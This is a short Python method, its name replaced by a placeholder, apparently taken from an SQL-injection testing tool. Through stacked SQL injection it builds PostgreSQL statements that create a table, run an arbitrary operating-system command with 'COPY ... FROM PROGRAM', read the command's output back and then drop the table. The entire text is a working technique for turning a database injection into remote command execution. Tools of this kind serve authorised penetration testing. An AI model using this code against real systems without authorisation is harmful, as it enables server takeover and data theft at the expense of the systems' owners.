def METHOD_NAME(self, cmd):
    output = None
    if isStackingAvailable():
        # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
        self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
        self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
        self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
        inject.goStacked(self._forgedCmd)
        query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
        output = inject.getValue(query, resumeValue=False)
        if isListLike(output):
            output = flattenValue(output)
            output = filterNone(output)
            if not isNoneValue(output):
                output = os.linesep.join(output)
        self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
        inject.goStacked(self._cleanupCmd)
    return output